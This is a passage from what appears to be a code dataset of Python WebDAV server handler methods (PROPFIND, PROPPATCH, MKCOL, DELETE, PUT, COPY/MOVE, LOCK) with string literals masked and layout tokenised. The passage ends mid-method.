{"signature": "def do_PROPFIND(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>res = self._davProvider.get_resource_inst(path, environ)<EOL>environ.setdefault(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if not environ[\"<STR_LIT>\"] in (\"<STR_LIT:0>\", \"<STR_LIT:1>\", \"<STR_LIT>\"):<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST,<EOL>\"<STR_LIT>\".format(environ[\"<STR_LIT>\"]),<EOL>)<EOL><DEDENT>if environ[\"<STR_LIT>\"] == \"<STR_LIT>\" and not self.allow_propfind_infinite:<EOL><INDENT>self._fail(<EOL>HTTP_FORBIDDEN,<EOL>\"<STR_LIT>\",<EOL>err_condition=PRECONDITION_CODE_PropfindFiniteDepth,<EOL>)<EOL><DEDENT>if res is None:<EOL><INDENT>self._fail(HTTP_NOT_FOUND)<EOL><DEDENT>if environ.get(\"<STR_LIT>\"):<EOL><INDENT>pass  <EOL><DEDENT>self._evaluate_if_headers(res, environ)<EOL>requestEL = util.parse_xml_body(environ, allow_empty=True)<EOL>if requestEL is None:<EOL><INDENT>requestEL = etree.XML(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if requestEL.tag != \"<STR_LIT>\":<EOL><INDENT>self._fail(HTTP_BAD_REQUEST)<EOL><DEDENT>propNameList = []<EOL>propFindMode = None<EOL>for pfnode in requestEL:<EOL><INDENT>if pfnode.tag == \"<STR_LIT>\":<EOL><INDENT>if propFindMode:<EOL><INDENT>self._fail(HTTP_BAD_REQUEST)<EOL><DEDENT>propFindMode = \"<STR_LIT>\"<EOL><DEDENT>elif pfnode.tag == \"<STR_LIT>\":<EOL><INDENT>if propFindMode:  <EOL><INDENT>self._fail(HTTP_BAD_REQUEST)<EOL><DEDENT>propFindMode = \"<STR_LIT:name>\"<EOL><DEDENT>elif pfnode.tag == \"<STR_LIT>\":<EOL><INDENT>if propFindMode not in (None, \"<STR_LIT>\"):<EOL><INDENT>self._fail(HTTP_BAD_REQUEST)<EOL><DEDENT>propFindMode = \"<STR_LIT>\"<EOL>for pfpnode in pfnode:<EOL><INDENT>propNameList.append(pfpnode.tag)<EOL><DEDENT><DEDENT><DEDENT>reslist = res.get_descendants(depth=environ[\"<STR_LIT>\"], add_self=True)<EOL>multistatusEL = xml_tools.make_multistatus_el()<EOL>responsedescription = []<EOL>for child in reslist:<EOL><INDENT>if propFindMode == \"<STR_LIT>\":<EOL><INDENT>propList = child.get_properties(\"<STR_LIT>\")<EOL><DEDENT>elif propFindMode == \"<STR_LIT:name>\":<EOL><INDENT>propList = child.get_properties(\"<STR_LIT:name>\")<EOL><DEDENT>else:<EOL><INDENT>propList = child.get_properties(\"<STR_LIT>\", name_list=propNameList)<EOL><DEDENT>href = child.get_href()<EOL>util.add_property_response(multistatusEL, href, propList)<EOL><DEDENT>if responsedescription:<EOL><INDENT>etree.SubElement(<EOL>multistatusEL, \"<STR_LIT>\"<EOL>).text = \"<STR_LIT:\\n>\".join(responsedescription)<EOL><DEDENT>return util.send_multi_status_response(environ, start_response, multistatusEL)<EOL>", "docstring": "TODO: does not yet support If and If HTTP Conditions\n@see http://www.webdav.org/specs/rfc4918.html#METHOD_PROPFIND", "id": "f8595:c0:m7"}
{"signature": "def do_PROPPATCH(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>res = self._davProvider.get_resource_inst(path, environ)<EOL>environ.setdefault(\"<STR_LIT>\", \"<STR_LIT:0>\")<EOL>if environ[\"<STR_LIT>\"] != \"<STR_LIT:0>\":<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if res is None:<EOL><INDENT>self._fail(HTTP_NOT_FOUND)<EOL><DEDENT>self._evaluate_if_headers(res, environ)<EOL>self._check_write_permission(res, \"<STR_LIT:0>\", environ)<EOL>requestEL = util.parse_xml_body(environ)<EOL>if requestEL.tag != \"<STR_LIT>\":<EOL><INDENT>self._fail(HTTP_BAD_REQUEST)<EOL><DEDENT>propupdatelist = []<EOL>for ppnode in requestEL:<EOL><INDENT>propupdatemethod = None<EOL>if ppnode.tag == \"<STR_LIT>\":<EOL><INDENT>propupdatemethod = \"<STR_LIT>\"<EOL><DEDENT>elif ppnode.tag == \"<STR_LIT>\":<EOL><INDENT>propupdatemethod = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST, \"<STR_LIT>\"<EOL>)<EOL><DEDENT>for propnode in ppnode:<EOL><INDENT>if propnode.tag != \"<STR_LIT>\":<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>for propertynode in propnode:<EOL><INDENT>propvalue = None<EOL>if propupdatemethod == \"<STR_LIT>\":<EOL><INDENT>propvalue = None  <EOL>if len(propertynode) > <NUM_LIT:0>:<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>propvalue = propertynode<EOL><DEDENT>propupdatelist.append((propertynode.tag, propvalue))<EOL><DEDENT><DEDENT><DEDENT>successflag = True<EOL>writeresultlist = []<EOL>for (name, propvalue) in propupdatelist:<EOL><INDENT>try:<EOL><INDENT>res.set_property_value(name, propvalue, dry_run=True)<EOL><DEDENT>except Exception as e:<EOL><INDENT>writeresult = as_DAVError(e)<EOL><DEDENT>else:<EOL><INDENT>writeresult = \"<STR_LIT>\"<EOL><DEDENT>writeresultlist.append((name, writeresult))<EOL>successflag = successflag and writeresult == \"<STR_LIT>\"<EOL><DEDENT>propResponseList = []<EOL>responsedescription = []<EOL>if not successflag:<EOL><INDENT>for (name, result) in writeresultlist:<EOL><INDENT>if result == \"<STR_LIT>\":<EOL><INDENT>result = DAVError(HTTP_FAILED_DEPENDENCY)<EOL><DEDENT>elif isinstance(result, DAVError):<EOL><INDENT>responsedescription.append(result.get_user_info())<EOL><DEDENT>propResponseList.append((name, result))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for (name, propvalue) in propupdatelist:<EOL><INDENT>try:<EOL><INDENT>res.set_property_value(name, propvalue, dry_run=False)<EOL>propResponseList.append((name, None))<EOL><DEDENT>except Exception as e:<EOL><INDENT>e = as_DAVError(e)<EOL>propResponseList.append((name, e))<EOL>responsedescription.append(e.get_user_info())<EOL><DEDENT><DEDENT><DEDENT>multistatusEL = xml_tools.make_multistatus_el()<EOL>href = res.get_href()<EOL>util.add_property_response(multistatusEL, href, propResponseList)<EOL>if responsedescription:<EOL><INDENT>etree.SubElement(<EOL>multistatusEL, \"<STR_LIT>\"<EOL>).text = \"<STR_LIT:\\n>\".join(responsedescription)<EOL><DEDENT>return util.send_multi_status_response(environ, start_response, multistatusEL)<EOL>", "docstring": "Handle PROPPATCH request to set or remove a property.\n\n        @see http://www.webdav.org/specs/rfc4918.html#METHOD_PROPPATCH", "id": "f8595:c0:m8"}
{"signature": "def do_MKCOL(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>provider = self._davProvider<EOL>if util.get_content_length(environ) != <NUM_LIT:0>:<EOL><INDENT>self._fail(<EOL>HTTP_MEDIATYPE_NOT_SUPPORTED,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>if environ.setdefault(\"<STR_LIT>\", \"<STR_LIT:0>\") != \"<STR_LIT:0>\":<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if provider.exists(path, environ):<EOL><INDENT>self._fail(<EOL>HTTP_METHOD_NOT_ALLOWED,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>parentRes = provider.get_resource_inst(util.get_uri_parent(path), environ)<EOL>if not parentRes or not parentRes.is_collection:<EOL><INDENT>self._fail(HTTP_CONFLICT, \"<STR_LIT>\")<EOL><DEDENT>self._check_write_permission(parentRes, \"<STR_LIT:0>\", environ)<EOL>parentRes.create_collection(util.get_uri_name(path))<EOL>return util.send_status_response(environ, start_response, HTTP_CREATED)<EOL>", "docstring": "Handle MKCOL request to create a new collection.\n\n        @see http://www.webdav.org/specs/rfc4918.html#METHOD_MKCOL", "id": "f8595:c0:m9"}
{"signature": "def do_POST(self, environ, start_response):", "body": "self._fail(HTTP_METHOD_NOT_ALLOWED)<EOL>", "docstring": "@see http://www.webdav.org/specs/rfc4918.html#METHOD_POST\n@see http://stackoverflow.com/a/22606899/19166", "id": "f8595:c0:m10"}
{"signature": "def do_DELETE(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>provider = self._davProvider<EOL>res = provider.get_resource_inst(path, environ)<EOL>if util.get_content_length(environ) != <NUM_LIT:0>:<EOL><INDENT>self._fail(<EOL>HTTP_MEDIATYPE_NOT_SUPPORTED,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>if res is None:<EOL><INDENT>self._fail(HTTP_NOT_FOUND)<EOL><DEDENT>if res.is_collection:<EOL><INDENT>if environ.setdefault(\"<STR_LIT>\", \"<STR_LIT>\") != \"<STR_LIT>\":<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not environ.setdefault(\"<STR_LIT>\", \"<STR_LIT:0>\") in (\"<STR_LIT:0>\", \"<STR_LIT>\"):<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT><DEDENT>self._evaluate_if_headers(res, environ)<EOL>parentRes = provider.get_resource_inst(util.get_uri_parent(path), environ)<EOL>if parentRes:<EOL><INDENT>self._check_write_permission(parentRes, \"<STR_LIT:0>\", environ)<EOL><DEDENT>else:<EOL><INDENT>self._check_write_permission(res, \"<STR_LIT:0>\", environ)<EOL><DEDENT>error_list = []<EOL>try:<EOL><INDENT>handled = res.handle_delete()<EOL>assert handled in (True, False) or type(handled) is list<EOL>if type(handled) is list:<EOL><INDENT>error_list = handled<EOL>handled = True<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>error_list = [(res.get_href(), as_DAVError(e))]<EOL>handled = True<EOL><DEDENT>if handled:<EOL><INDENT>return self._send_response(<EOL>environ, start_response, res, HTTP_NO_CONTENT, error_list<EOL>)<EOL><DEDENT>reverseChildList = res.get_descendants(<EOL>depth_first=True, depth=environ[\"<STR_LIT>\"], add_self=True<EOL>)<EOL>if res.is_collection and res.support_recursive_delete():<EOL><INDENT>hasConflicts = False<EOL>for childRes in reverseChildList:<EOL><INDENT>try:<EOL><INDENT>self._evaluate_if_headers(childRes, environ)<EOL>self._check_write_permission(childRes, \"<STR_LIT:0>\", environ)<EOL><DEDENT>except Exception:<EOL><INDENT>hasConflicts = True<EOL>break<EOL><DEDENT><DEDENT>if not hasConflicts:<EOL><INDENT>try:<EOL><INDENT>error_list = res.delete()<EOL><DEDENT>except Exception as e:<EOL><INDENT>error_list = [(res.get_href(), as_DAVError(e))]<EOL><DEDENT>return self._send_response(<EOL>environ, start_response, res, HTTP_NO_CONTENT, error_list<EOL>)<EOL><DEDENT><DEDENT>ignoreDict = {}<EOL>for childRes in reverseChildList:<EOL><INDENT>if childRes.path in ignoreDict:<EOL><INDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(childRes.path)<EOL>)<EOL>ignoreDict[util.get_uri_parent(childRes.path)] = \"<STR_LIT>\"<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>self._evaluate_if_headers(childRes, environ)<EOL>self._check_write_permission(childRes, \"<STR_LIT:0>\", environ)<EOL>childRes.delete()<EOL>if provider.exists(childRes.path, environ):<EOL><INDENT>raise DAVError(<EOL>HTTP_INTERNAL_ERROR, \"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>error_list.append((childRes.get_href(), as_DAVError(e)))<EOL>ignoreDict[util.get_uri_parent(childRes.path)] = True<EOL><DEDENT><DEDENT>return self._send_response(<EOL>environ, start_response, res, HTTP_NO_CONTENT, error_list<EOL>)<EOL>", "docstring": "@see: http://www.webdav.org/specs/rfc4918.html#METHOD_DELETE", "id": "f8595:c0:m11"}
{"signature": "def _stream_data_chunked(self, environ, block_size):", "body": "<EOL>if \"<STR_LIT>\" in environ.get(\"<STR_LIT>\", \"<STR_LIT>\") and environ.get(<EOL>\"<STR_LIT>\"<EOL>):<EOL><INDENT>WORKAROUND_CHUNK_LENGTH = True<EOL>buf = environ.get(\"<STR_LIT>\", \"<STR_LIT:0>\")<EOL>length = int(buf)<EOL><DEDENT>else:<EOL><INDENT>WORKAROUND_CHUNK_LENGTH = False<EOL>buf = environ[\"<STR_LIT>\"].readline()<EOL>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL>if buf == compat.b_empty:<EOL><INDENT>length = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>length = int(buf, <NUM_LIT:16>)<EOL><DEDENT><DEDENT>while length > <NUM_LIT:0>:<EOL><INDENT>buf = environ[\"<STR_LIT>\"].read(block_size)<EOL>yield buf<EOL>if WORKAROUND_CHUNK_LENGTH:<EOL><INDENT>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL>if buf == compat.b_empty:<EOL><INDENT>length = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>length -= len(buf)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>environ[\"<STR_LIT>\"].readline()<EOL>buf = environ[\"<STR_LIT>\"].readline()<EOL>if buf == compat.b_empty:<EOL><INDENT>length = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>length = int(buf, <NUM_LIT:16>)<EOL><DEDENT><DEDENT><DEDENT>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL>", "docstring": "Get the data from a chunked transfer.", "id": "f8595:c0:m12"}
{"signature": "def _stream_data(self, environ, content_length, block_size):", "body": "if content_length == <NUM_LIT:0>:<EOL><INDENT>_logger.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>assert content_length > <NUM_LIT:0><EOL>contentremain = content_length<EOL>while contentremain > <NUM_LIT:0>:<EOL><INDENT>n = min(contentremain, block_size)<EOL>readbuffer = environ[\"<STR_LIT>\"].read(n)<EOL>if not len(readbuffer) > <NUM_LIT:0>:<EOL><INDENT>_logger.error(\"<STR_LIT>\".format(n))<EOL>break<EOL><DEDENT>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL>yield readbuffer<EOL>contentremain -= len(readbuffer)<EOL><DEDENT>if contentremain == <NUM_LIT:0>:<EOL><INDENT>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Get the data from a non-chunked transfer.", "id": "f8595:c0:m13"}
{"signature": "def do_PUT(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>provider = self._davProvider<EOL>res = provider.get_resource_inst(path, environ)<EOL>parentRes = provider.get_resource_inst(util.get_uri_parent(path), environ)<EOL>isnewfile = res is None<EOL>if \"<STR_LIT>\" in environ:<EOL><INDENT>util.fail(HTTP_NOT_IMPLEMENTED, \"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in environ:<EOL><INDENT>util.fail(<EOL>HTTP_BAD_REQUEST, \"<STR_LIT>\"<EOL>)<EOL><DEDENT>if res and res.is_collection:<EOL><INDENT>self._fail(HTTP_METHOD_NOT_ALLOWED, \"<STR_LIT>\")<EOL><DEDENT>elif (<EOL>parentRes is None or not parentRes.is_collection<EOL>):  <EOL><INDENT>self._fail(HTTP_CONFLICT, \"<STR_LIT>\")<EOL><DEDENT>self._evaluate_if_headers(res, environ)<EOL>if isnewfile:<EOL><INDENT>self._check_write_permission(parentRes, \"<STR_LIT:0>\", environ)<EOL>res = parentRes.create_empty_resource(util.get_uri_name(path))<EOL><DEDENT>else:<EOL><INDENT>self._check_write_permission(res, \"<STR_LIT:0>\", environ)<EOL><DEDENT>try:<EOL><INDENT>content_length = max(-<NUM_LIT:1>, int(environ.get(\"<STR_LIT>\", -<NUM_LIT:1>)))<EOL><DEDENT>except ValueError:<EOL><INDENT>content_length = -<NUM_LIT:1><EOL><DEDENT>if (content_length < <NUM_LIT:0>) and (<EOL>environ.get(\"<STR_LIT>\", \"<STR_LIT>\").lower() != \"<STR_LIT>\"<EOL>):<EOL><INDENT>agent = environ.get(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if \"<STR_LIT>\" in agent or \"<STR_LIT>\" in agent:  <EOL><INDENT>_logger.warning(<EOL>\"<STR_LIT>\"<EOL>)<EOL>content_length = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>util.fail(<EOL>HTTP_LENGTH_REQUIRED,<EOL>\"<STR_LIT>\".format(<EOL>environ.get(\"<STR_LIT>\")<EOL>),<EOL>)<EOL><DEDENT><DEDENT>hasErrors = False<EOL>try:<EOL><INDENT>if environ.get(\"<STR_LIT>\", \"<STR_LIT>\").lower() == \"<STR_LIT>\":<EOL><INDENT>data_stream = self._stream_data_chunked(environ, self.block_size)<EOL><DEDENT>else:<EOL><INDENT>data_stream = self._stream_data(<EOL>environ, content_length, self.block_size<EOL>)<EOL><DEDENT>fileobj = res.begin_write(content_type=environ.get(\"<STR_LIT>\"))<EOL>if getattr(fileobj, \"<STR_LIT>\", None):<EOL><INDENT>fileobj.writelines(data_stream)<EOL><DEDENT>else:<EOL><INDENT>for data in data_stream:<EOL><INDENT>fileobj.write(data)<EOL><DEDENT><DEDENT>fileobj.close()<EOL><DEDENT>except Exception as e:<EOL><INDENT>res.end_write(with_errors=True)<EOL>_logger.exception(\"<STR_LIT>\")<EOL>util.fail(e)<EOL><DEDENT>res.end_write(hasErrors)<EOL>headers = None<EOL>if res.support_etag():<EOL><INDENT>entitytag = res.get_etag()<EOL>if entitytag is not None:<EOL><INDENT>headers = [(\"<STR_LIT>\", '<STR_LIT>'.format(entitytag))]<EOL><DEDENT><DEDENT>if isnewfile:<EOL><INDENT>return util.send_status_response(<EOL>environ, start_response, HTTP_CREATED, add_headers=headers<EOL>)<EOL><DEDENT>return util.send_status_response(<EOL>environ, start_response, HTTP_NO_CONTENT, add_headers=headers<EOL>)<EOL>", "docstring": "@see: http://www.webdav.org/specs/rfc4918.html#METHOD_PUT", "id": "f8595:c0:m14"}
{"signature": "def _copy_or_move(self, environ, start_response, is_move):", "body": "srcPath = environ[\"<STR_LIT>\"]<EOL>provider = self._davProvider<EOL>srcRes = provider.get_resource_inst(srcPath, environ)<EOL>srcParentRes = provider.get_resource_inst(util.get_uri_parent(srcPath), environ)<EOL>if srcRes is None:<EOL><INDENT>self._fail(HTTP_NOT_FOUND)<EOL><DEDENT>if \"<STR_LIT>\" not in environ:<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if not environ.setdefault(\"<STR_LIT>\", \"<STR_LIT:T>\") in (\"<STR_LIT:T>\", \"<STR_LIT:F>\"):<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if util.get_content_length(environ) != <NUM_LIT:0>:<EOL><INDENT>body = environ[\"<STR_LIT>\"].read(util.get_content_length(environ))<EOL>environ[\"<STR_LIT>\"] = <NUM_LIT:1><EOL>_logger.info(\"<STR_LIT>\".format(body[:<NUM_LIT:50>]))<EOL><DEDENT>if srcRes.is_collection:<EOL><INDENT>environ.setdefault(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if not environ[\"<STR_LIT>\"] in (\"<STR_LIT:0>\", \"<STR_LIT>\"):<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>if is_move and environ[\"<STR_LIT>\"] != \"<STR_LIT>\":<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>environ.setdefault(\"<STR_LIT>\", \"<STR_LIT:0>\")<EOL>if not environ[\"<STR_LIT>\"] in (\"<STR_LIT:0>\", \"<STR_LIT>\"):<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>environ[\"<STR_LIT>\"] = \"<STR_LIT:0>\"<EOL><DEDENT>destinationHeader = compat.unquote(environ[\"<STR_LIT>\"])<EOL>destScheme, destNetloc, destPath, _destParams, _destQuery, _destFrag = compat.urlparse(<EOL>destinationHeader, allow_fragments=False<EOL>)<EOL>if srcRes.is_collection:<EOL><INDENT>destPath = destPath.rstrip(\"<STR_LIT:/>\") + \"<STR_LIT:/>\"<EOL><DEDENT>if destScheme and destScheme.lower() != environ[\"<STR_LIT>\"].lower():<EOL><INDENT>self._fail(<EOL>HTTP_BAD_GATEWAY, \"<STR_LIT>\"<EOL>)<EOL><DEDENT>elif destNetloc and destNetloc.lower() != environ[\"<STR_LIT>\"].lower():<EOL><INDENT>self._fail(<EOL>HTTP_BAD_GATEWAY, \"<STR_LIT>\"<EOL>)<EOL><DEDENT>elif not destPath.startswith(provider.mount_path + provider.share_path):<EOL><INDENT>self._fail(HTTP_BAD_GATEWAY, \"<STR_LIT>\")<EOL><DEDENT>destPath = destPath[len(provider.mount_path + provider.share_path) :]<EOL>assert destPath.startswith(\"<STR_LIT:/>\")<EOL>destRes = provider.get_resource_inst(destPath, environ)<EOL>destExists = destRes is not None<EOL>destParentRes = provider.get_resource_inst(<EOL>util.get_uri_parent(destPath), environ<EOL>)<EOL>if not destParentRes or not destParentRes.is_collection:<EOL><INDENT>self._fail(HTTP_CONFLICT, \"<STR_LIT>\")<EOL><DEDENT>self._evaluate_if_headers(srcRes, environ)<EOL>self._evaluate_if_headers(destRes, environ)<EOL>if is_move:<EOL><INDENT>self._check_write_permission(srcRes, \"<STR_LIT>\", environ)<EOL>if srcParentRes:<EOL><INDENT>self._check_write_permission(srcParentRes, \"<STR_LIT:0>\", environ)<EOL><DEDENT><DEDENT>if not destExists:<EOL><INDENT>self._check_write_permission(destParentRes, \"<STR_LIT:0>\", environ)<EOL><DEDENT>self._check_write_permission(destRes, \"<STR_LIT>\", environ)<EOL>if srcPath == destPath:<EOL><INDENT>self._fail(HTTP_FORBIDDEN, \"<STR_LIT>\")<EOL><DEDENT>elif util.is_equal_or_child_uri(srcPath, destPath):<EOL><INDENT>self._fail(HTTP_FORBIDDEN, \"<STR_LIT>\")<EOL><DEDENT>if destExists and environ[\"<STR_LIT>\"] != \"<STR_LIT:T>\":<EOL><INDENT>self._fail(<EOL>HTTP_PRECONDITION_FAILED,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>error_list = []<EOL>success_code = HTTP_CREATED<EOL>if destExists:<EOL><INDENT>success_code = HTTP_NO_CONTENT<EOL><DEDENT>try:<EOL><INDENT>if is_move:<EOL><INDENT>handled = srcRes.handle_move(destPath)<EOL><DEDENT>else:<EOL><INDENT>isInfinity = environ[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>handled = srcRes.handle_copy(destPath, isInfinity)<EOL><DEDENT>assert handled in (True, False) or type(handled) is list<EOL>if type(handled) is list:<EOL><INDENT>error_list = handled<EOL>handled = True<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>error_list = [(srcRes.get_href(), as_DAVError(e))]<EOL>handled = True<EOL><DEDENT>if handled:<EOL><INDENT>return self._send_response(<EOL>environ, start_response, srcRes, HTTP_NO_CONTENT, error_list<EOL>)<EOL><DEDENT>srcList = srcRes.get_descendants(add_self=True)<EOL>srcRootLen = len(srcPath)<EOL>destRootLen = len(destPath)<EOL>if destExists:<EOL><INDENT>if is_move or not destRes.is_collection or not srcRes.is_collection:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(destRes))<EOL>destRes.delete()<EOL>destRes = None<EOL><DEDENT>else:<EOL><INDENT>reverseDestList = destRes.get_descendants(<EOL>depth_first=True, add_self=False<EOL>)<EOL>srcPathList = [s.path for s in srcList]<EOL>_logger.debug(\"<STR_LIT>\".format(srcPathList))<EOL>for dRes in reverseDestList:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(dRes))<EOL>relUrl = dRes.path[destRootLen:]<EOL>sp = srcPath + relUrl<EOL>if sp not in srcPathList:<EOL><INDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(dRes)<EOL>)<EOL>dRes.delete()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if is_move and srcRes.support_recursive_move(destPath):<EOL><INDENT>hasConflicts = False<EOL>for s in srcList:<EOL><INDENT>try:<EOL><INDENT>self._evaluate_if_headers(s, environ)<EOL><DEDENT>except Exception:<EOL><INDENT>hasConflicts = True<EOL>break<EOL><DEDENT><DEDENT>if not hasConflicts:<EOL><INDENT>try:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(srcRes, destPath))<EOL>error_list = srcRes.move_recursive(destPath)<EOL><DEDENT>except Exception as e:<EOL><INDENT>error_list = [(srcRes.get_href(), as_DAVError(e))]<EOL><DEDENT>return self._send_response(<EOL>environ, start_response, srcRes, success_code, error_list<EOL>)<EOL><DEDENT><DEDENT>ignoreDict = {}<EOL>for sRes in srcList:<EOL><INDENT>parentError = False<EOL>for ignorePath in ignoreDict.keys():<EOL><INDENT>if util.is_equal_or_child_uri(ignorePath, sRes.path):<EOL><INDENT>parentError = True<EOL>break<EOL><DEDENT><DEDENT>if parentError:<EOL><INDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(sRes.path)<EOL>)<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>relUrl = sRes.path[srcRootLen:]<EOL>dPath = destPath + relUrl<EOL>self._evaluate_if_headers(sRes, environ)<EOL>sRes.copy_move_single(dPath, is_move)<EOL>if is_move and not sRes.is_collection:<EOL><INDENT>sRes.delete()<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>ignoreDict[sRes.path] = True<EOL>error_list.append((sRes.get_href(), as_DAVError(e)))<EOL><DEDENT><DEDENT>if is_move:<EOL><INDENT>reverseSrcList = srcList[:]<EOL>reverseSrcList.reverse()<EOL>_logger.debug(\"<STR_LIT>\".format(ignoreDict))<EOL>for sRes in reverseSrcList:<EOL><INDENT>if not sRes.is_collection:<EOL><INDENT>continue<EOL><DEDENT>childError = False<EOL>for ignorePath in ignoreDict.keys():<EOL><INDENT>if util.is_equal_or_child_uri(sRes.path, ignorePath):<EOL><INDENT>childError = True<EOL>break<EOL><DEDENT><DEDENT>if childError:<EOL><INDENT>_logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>sRes.path<EOL>)<EOL>)<EOL>continue<EOL><DEDENT>try:<EOL><INDENT>_logger.debug(\"<STR_LIT>\".format(sRes))<EOL>sRes.delete()<EOL><DEDENT>except Exception as e:<EOL><INDENT>error_list.append((srcRes.get_href(), as_DAVError(e)))<EOL><DEDENT><DEDENT>_logger.debug(\"<STR_LIT>\".format(error_list))<EOL><DEDENT>return self._send_response(<EOL>environ, start_response, srcRes, success_code, error_list<EOL>)<EOL>", "docstring": "@see: http://www.webdav.org/specs/rfc4918.html#METHOD_COPY\n@see: http://www.webdav.org/specs/rfc4918.html#METHOD_MOVE", "id": "f8595:c0:m17"}
{"signature": "def do_LOCK(self, environ, start_response):", "body": "path = environ[\"<STR_LIT>\"]<EOL>provider = self._davProvider<EOL>res = provider.get_resource_inst(path, environ)<EOL>lockMan = provider.lock_manager<EOL>if lockMan is None:<EOL><INDENT>self._fail(HTTP_NOT_IMPLEMENTED, \"<STR_LIT>\")<EOL><DEDENT>if res and res.prevent_locking():<EOL><INDENT>self._fail(HTTP_FORBIDDEN, \"<STR_LIT>\")<EOL><DEDENT>if environ.setdefault(\"<STR_LIT>\", \"<STR_LIT>\") not in (\"<STR_LIT:0>\", \"<STR_LIT>\"):<EOL><INDENT>self._fail(HTTP_BAD_REQUEST, \"<STR_LIT>\")<EOL><DEDENT>self._evaluate_if_headers(res, environ)<EOL>timeoutsecs = util.read_timeout_value_header(environ.get(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL>submittedTokenList = environ[\"<STR_LIT>\"]<EOL>lockinfoEL = util.parse_xml_body(environ, allow_empty=True)<EOL>if lockinfoEL is None:<EOL><INDENT>environ[\"<STR_LIT>\"] = \"<STR_LIT:0>\"  <EOL>if res is None:<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST, \"<STR_LIT>\"<EOL>)<EOL><DEDENT>if len(submittedTokenList) != <NUM_LIT:1>:<EOL><INDENT>self._fail(<EOL>HTTP_BAD_REQUEST,<EOL>\"<STR_LIT>\",<EOL>)<EOL><DEDENT>elif not lockMan.is_url_locked_by_token(<EOL>res.get_ref_url(), submittedTokenList[<NUM_LIT:0>]<EOL>):<EOL><INDENT>self._fail(<EOL>HTTP_PRECONDITION_FAILED,<EOL>\"<STR_LIT>\",<EOL>err_condition=PRECONDITION_CODE_LockTokenMismatch,<EOL>)<EOL><DEDENT>lock = lockMan.refresh(submittedTokenList[<NUM_LIT:0>], timeoutsecs)<EOL>lockPath = provider.ref_url_to_path(lock[\"<STR_LIT:root>\"])<EOL>lockRes = provider.get_resource_inst(lockPath, environ)<EOL>propEL = xml_tools.make_prop_el()<EOL>lockdiscoveryEL = lockRes.get_property_value(\"<STR_LIT>\")<EOL>propEL.append(lockdiscoveryEL)<EOL>xml = xml_tools.xml_to_bytes(propEL)<EOL>start_response(<EOL>\"<STR_LIT>\",<EOL>[<EOL>(\"<STR_LIT:Content-Type>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", str(len(xml))),<EOL>(\"<STR_LIT>\", util.get_rfc1123_time()),<EOL>],<EOL>)<EOL>return [xml]<EOL><DEDENT>if lockinfoEL.tag != 